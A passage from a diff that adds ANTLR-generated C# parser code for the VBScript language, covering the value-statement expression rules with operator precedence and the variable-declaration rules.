ValueStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEW() { return GetToken(VBScriptParser.NEW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeContext type() { + return GetRuleContext(0); + } + public VsNewContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsNew(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsNew(this); + } + } + public partial class VsICSContext : ValueStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + public VsICSContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsICS(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsICS(this); + } + } + public partial class VsLiteralContext : ValueStmtContext { + public LiteralContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal() { + return GetRuleContext(0); + } + public VsLiteralContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsLiteral(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsLiteral(this); + } + } + public partial class VsUnaryOperationContext : ValueStmtContext { + public IToken @operator; + public ValueStmtContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PLUS() { return GetToken(VBScriptParser.PLUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MINUS() { return GetToken(VBScriptParser.MINUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NOT() { return GetToken(VBScriptParser.NOT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + public VsUnaryOperationContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsUnaryOperation(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsUnaryOperation(this); + } + } + public partial class VsDualOperationContext : ValueStmtContext { + public ValueStmtContext left; + public IToken @operator; + public ValueStmtContext right; + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode POW() { return GetToken(VBScriptParser.POW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MULT() { return GetToken(VBScriptParser.MULT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DIV() { return GetToken(VBScriptParser.DIV, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MOD() { return GetToken(VBScriptParser.MOD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PLUS() { return GetToken(VBScriptParser.PLUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MINUS() { return GetToken(VBScriptParser.MINUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AMPERSAND() { return GetToken(VBScriptParser.AMPERSAND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEQ() { return GetToken(VBScriptParser.NEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LT() { return GetToken(VBScriptParser.LT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GT() { return GetToken(VBScriptParser.GT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LEQ() { return GetToken(VBScriptParser.LEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GEQ() { return GetToken(VBScriptParser.GEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AND() { return GetToken(VBScriptParser.AND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OR() { return GetToken(VBScriptParser.OR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode XOR() { return GetToken(VBScriptParser.XOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQV() { return GetToken(VBScriptParser.EQV, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IMP() { return GetToken(VBScriptParser.IMP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LIKE() { return GetToken(VBScriptParser.LIKE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IS() { return GetToken(VBScriptParser.IS, 0); } + public VsDualOperationContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsDualOperation(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsDualOperation(this); + } + } + public partial class VsMidContext : ValueStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public MidStmtContext midStmt() { + return GetRuleContext(0); + } + public VsMidContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsMid(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsMid(this); + } + } + + [RuleVersion(0)] + public ValueStmtContext valueStmt() { + return valueStmt(0); + } + + private ValueStmtContext valueStmt(int _p) { + ParserRuleContext _parentctx = Context; + int _parentState = State; + ValueStmtContext _localctx = new ValueStmtContext(Context, _parentState); + ValueStmtContext _prevctx = _localctx; + int _startState = 234; + EnterRecursionRule(_localctx, 234, RULE_valueStmt, _p); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2416; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,384,Context) ) { + case 1: + { + _localctx = new VsLiteralContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + + State = 2348; + ((VsLiteralContext)_localctx).valUnary = literal(); + } + break; + case 2: + { + _localctx = new VsICSContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2349; + implicitCallStmt_InStmt(); + } + break; + case 3: + { + _localctx = new VsStructContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2350; + Match(LPAREN); + State = 2352; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,372,Context) ) { + case 1: + { + State = 2351; + Match(WS); + } + break; + } + State = 2354; + ((VsStructContext)_localctx).valUnary = valueStmt(0); + State = 2365; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,375,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2356; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2355; + Match(WS); + } + } + + State = 2358; + Match(COMMA); + State = 2360; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,374,Context) ) { + case 1: + { + State = 2359; + Match(WS); + } + break; + } + State = 2362; + valueStmt(0); + } + } + } + State = 2367; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,375,Context); + } + State = 2369; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2368; + Match(WS); + } + } + + State = 2371; + Match(RPAREN); + } + break; + case 4: + { + _localctx = new VsNewContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2373; + Match(NEW); + State = 2374; + Match(WS); + State = 2375; + type(); + } + break; + case 5: + { + _localctx = new VsTypeOfContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2376; + typeOfStmt(); + } + break; + case 6: + { + _localctx = new VsAddressOfContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2377; + Match(ADDRESSOF); + State = 2378; + Match(WS); + State = 2379; + valueStmt(23); + } + break; + case 7: + { + _localctx = new VsAssignContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2380; + implicitCallStmt_InStmt(); + State = 2382; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2381; + Match(WS); + } + } + + State = 2384; + Match(ASSIGN); + State = 2386; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,378,Context) ) { + case 1: + { + State = 2385; + Match(WS); + } + break; + } + State = 2388; + valueStmt(22); + } + break; + case 8: + { + _localctx = new VsUnaryOperationContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2390; + ((VsUnaryOperationContext)_localctx).@operator = Match(PLUS); + State = 2392; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,379,Context) ) { + case 1: + { + State = 2391; + Match(WS); + } + break; + } + State = 2394; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(21); + } + break; + case 9: + { + _localctx = new VsUnaryOperationContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2395; + ((VsUnaryOperationContext)_localctx).@operator = Match(MINUS); + State = 2397; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,380,Context) ) { + case 1: + { + State = 2396; + Match(WS); + } + break; + } + State = 2399; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(20); + } + break; + case 10: + { + _localctx = new VsUnaryOperationContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2400; + ((VsUnaryOperationContext)_localctx).@operator = Match(NOT); + State = 2413; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case WS: + { + State = 2401; + Match(WS); + State = 2402; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(0); + } + break; + case LPAREN: + { + State = 2403; + Match(LPAREN); + State = 2405; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,381,Context) ) { + case 1: + { + State = 2404; + Match(WS); + } + break; + } + State = 2407; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(0); + State = 2409; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2408; + Match(WS); + } + } + + State = 2411; + Match(RPAREN); + } + break; + default: + throw new NoViableAltException(this); + } + } + break; + case 11: + { + _localctx = new VsMidContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2415; + midStmt(); + } + break; + } + Context.Stop = TokenStream.LT(-1); + State = 2565; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,416,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + if ( ParseListeners!=null ) + TriggerExitRuleEvent(); + _prevctx = _localctx; + { + State = 2563; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,415,Context) ) { + case 1: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2418; + if (!(Precpred(Context, 19))) throw new FailedPredicateException(this, "Precpred(Context, 19)"); + State = 2420; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2419; + Match(WS); + } + } + + State = 2422; + ((VsDualOperationContext)_localctx).@operator = Match(POW); + State = 2424; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,386,Context) ) { + case 1: + { + State = 2423; + Match(WS); + } + break; + } + State = 2426; + ((VsDualOperationContext)_localctx).right = valueStmt(20); + } + break; + case 2: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2427; + if (!(Precpred(Context, 18))) throw new FailedPredicateException(this, "Precpred(Context, 18)"); + State = 2429; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2428; + Match(WS); + } + } + + State = 2431; + ((VsDualOperationContext)_localctx).@operator = TokenStream.LT(1); + _la = TokenStream.LA(1); + if ( !(_la==MOD || _la==DIV || _la==MULT) ) { + ((VsDualOperationContext)_localctx).@operator = ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2433; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,388,Context) ) { + case 1: + { + State = 2432; + Match(WS); + } + break; + } + State = 2435; + ((VsDualOperationContext)_localctx).right = valueStmt(19); + } + break; + case 3: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2436; + if (!(Precpred(Context, 17))) throw new FailedPredicateException(this, "Precpred(Context, 17)"); + State = 2438; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2437; + Match(WS); + } + } + + State = 2440; + ((VsDualOperationContext)_localctx).@operator = TokenStream.LT(1); + _la = TokenStream.LA(1); + if ( !(_la==MINUS || _la==PLUS) ) { + ((VsDualOperationContext)_localctx).@operator = ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2442; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,390,Context) ) { + case 1: + { + State = 2441; + Match(WS); + } + break; + } + State = 2444; + ((VsDualOperationContext)_localctx).right = valueStmt(18); + } + break; + case 4: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2445; + if (!(Precpred(Context, 16))) throw new FailedPredicateException(this, "Precpred(Context, 16)"); + State = 2447; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2446; + Match(WS); + } + } + + State = 2449; + ((VsDualOperationContext)_localctx).@operator = Match(AMPERSAND); + State = 2451; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,392,Context) ) { + case 1: + { + State = 2450; + Match(WS); + } + break; + } + State = 2453; + ((VsDualOperationContext)_localctx).right = valueStmt(17); + } + break; + case 5: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2454; + if (!(Precpred(Context, 15))) throw new FailedPredicateException(this, "Precpred(Context, 15)"); + State = 2456; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2455; + Match(WS); + } + } + + State = 2458; + ((VsDualOperationContext)_localctx).@operator = Match(EQ); + State = 2460; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,394,Context) ) { + case 1: + { + State = 2459; + Match(WS); + } + break; + } + State = 2462; + ((VsDualOperationContext)_localctx).right = valueStmt(16); + } + break; + case 6: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2463; + if (!(Precpred(Context, 14))) throw new FailedPredicateException(this, "Precpred(Context, 14)"); + State = 2465; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2464; + Match(WS); + } + } + + State = 2467; + ((VsDualOperationContext)_localctx).@operator = Match(NEQ); + State = 2469; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,396,Context) ) { + case 1: + { + State = 2468; + Match(WS); + } + break; + } + State = 2471; + ((VsDualOperationContext)_localctx).right = valueStmt(15); + } + break; + case 7: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2472; + if (!(Precpred(Context, 13))) throw new FailedPredicateException(this, "Precpred(Context, 13)"); + State = 2474; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2473; + Match(WS); + } + } + + State = 2476; + ((VsDualOperationContext)_localctx).@operator = Match(LT); + State = 2478; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,398,Context) ) { + case 1: + { + State = 2477; + Match(WS); + } + break; + } + State = 2480; + ((VsDualOperationContext)_localctx).right = valueStmt(14); + } + break; + case 8: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2481; + if (!(Precpred(Context, 12))) throw new FailedPredicateException(this, "Precpred(Context, 12)"); + State = 2483; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2482; + Match(WS); + } + } + + State = 2485; + ((VsDualOperationContext)_localctx).@operator = Match(GT); + State = 2487; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,400,Context) ) { + case 1: + { + State = 2486; + Match(WS); + } + break; + } + State = 2489; + ((VsDualOperationContext)_localctx).right = valueStmt(13); + } + break; + case 9: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2490; + if (!(Precpred(Context, 11))) throw new FailedPredicateException(this, "Precpred(Context, 11)"); + State = 2492; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2491; + Match(WS); + } + } + + State = 2494; + ((VsDualOperationContext)_localctx).@operator = Match(LEQ); + State = 2496; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,402,Context) ) { + case 1: + { + State = 2495; + Match(WS); + } + break; + } + State = 2498; + ((VsDualOperationContext)_localctx).right = valueStmt(12); + } + break; + case 10: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2499; + if (!(Precpred(Context, 10))) throw new FailedPredicateException(this, "Precpred(Context, 10)"); + State = 2501; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2500; + Match(WS); + } + } + + State = 2503; + ((VsDualOperationContext)_localctx).@operator = Match(GEQ); + State = 2505; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,404,Context) ) { + case 1: + { + State = 2504; + Match(WS); + } + break; + } + State = 2507; + ((VsDualOperationContext)_localctx).right = valueStmt(11); + } + break; + case 11: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2508; + if (!(Precpred(Context, 9))) throw new FailedPredicateException(this, "Precpred(Context, 9)"); + State = 2510; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2509; + Match(WS); + } + } + + State = 2512; + ((VsDualOperationContext)_localctx).@operator = Match(AND); + State = 2514; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,406,Context) ) { + case 1: + { + State = 2513; + Match(WS); + } + break; + } + State = 2516; + ((VsDualOperationContext)_localctx).right = valueStmt(10); + } + break; + case 12: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2517; + if (!(Precpred(Context, 8))) throw new FailedPredicateException(this, "Precpred(Context, 8)"); + State = 2519; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2518; + Match(WS); + } + } + + State = 2521; + ((VsDualOperationContext)_localctx).@operator = Match(OR); + State = 2523; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,408,Context) ) { + case 1: + { + State = 2522; + Match(WS); + } + break; + } + State = 2525; + ((VsDualOperationContext)_localctx).right = valueStmt(9); + } + break; + case 13: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2526; + if (!(Precpred(Context, 7))) throw new FailedPredicateException(this, "Precpred(Context, 7)"); + State = 2528; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2527; + Match(WS); + } + } + + State = 2530; + ((VsDualOperationContext)_localctx).@operator = Match(XOR); + State = 2532; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,410,Context) ) { + case 1: + { + State = 2531; + Match(WS); + } + break; + } + State = 2534; + ((VsDualOperationContext)_localctx).right = valueStmt(8); + } + break; + case 14: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2535; + if (!(Precpred(Context, 6))) throw new FailedPredicateException(this, "Precpred(Context, 6)"); + State = 2537; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2536; + Match(WS); + } + } + + State = 2539; + ((VsDualOperationContext)_localctx).@operator = Match(EQV); + State = 2541; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,412,Context) ) { + case 1: + { + State = 2540; + Match(WS); + } + break; + } + State = 2543; + ((VsDualOperationContext)_localctx).right = valueStmt(7); + } + break; + case 15: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2544; + if (!(Precpred(Context, 5))) throw new FailedPredicateException(this, "Precpred(Context, 5)"); + State = 2546; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2545; + Match(WS); + } + } + + State = 2548; + ((VsDualOperationContext)_localctx).@operator = Match(IMP); + State = 2550; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,414,Context) ) { + case 1: + { + State = 2549; + Match(WS); + } + break; + } + State = 2552; + ((VsDualOperationContext)_localctx).right = valueStmt(6); + } + break; + case 16: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2553; + if (!(Precpred(Context, 4))) throw new FailedPredicateException(this, "Precpred(Context, 4)"); + State = 2554; + Match(WS); + State = 2555; + ((VsDualOperationContext)_localctx).@operator = Match(LIKE); + State = 2556; + Match(WS); + State = 2557; + ((VsDualOperationContext)_localctx).right = valueStmt(5); + } + break; + case 17: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2558; + if (!(Precpred(Context, 3))) throw new FailedPredicateException(this, "Precpred(Context, 3)"); + State = 2559; + Match(WS); + State = 2560; + ((VsDualOperationContext)_localctx).@operator = Match(IS); + State = 2561; + Match(WS); + State = 2562; + ((VsDualOperationContext)_localctx).right = valueStmt(4); + } + break; + } + } + } + State = 2567; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,416,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + UnrollRecursionContexts(_parentctx); + } + return _localctx; + } + + public partial class VariableStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public VariableListStmtContext variableListStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DIM() { return GetToken(VBScriptParser.DIM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WITHEVENTS() { return GetToken(VBScriptParser.WITHEVENTS, 0); } + public VariableStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_variableStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVariableStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVariableStmt(this); + } + } + + [RuleVersion(0)] + public VariableStmtContext variableStmt() { + VariableStmtContext _localctx = new VariableStmtContext(Context, State); + EnterRule(_localctx, 236, RULE_variableStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2571; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case DIM: + { + State = 2568; + Match(DIM); + } + break; + case STATIC: + { + State = 2569; + Match(STATIC); + } + break; + case FRIEND: + case GLOBAL: + case PRIVATE: + case PUBLIC: + { + State = 2570; + visibility(); + } + break; + default: + throw new NoViableAltException(this); + } + State = 2573; + Match(WS); + State = 2576; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,418,Context) ) { + case 1: + { + State = 2574; + Match(WITHEVENTS); + State = 2575; + Match(WS); + } + break; + } + State = 2578; + variableListStmt(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class VariableListStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public VariableSubStmtContext[] variableSubStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public VariableSubStmtContext variableSubStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public VariableListStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_variableListStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if 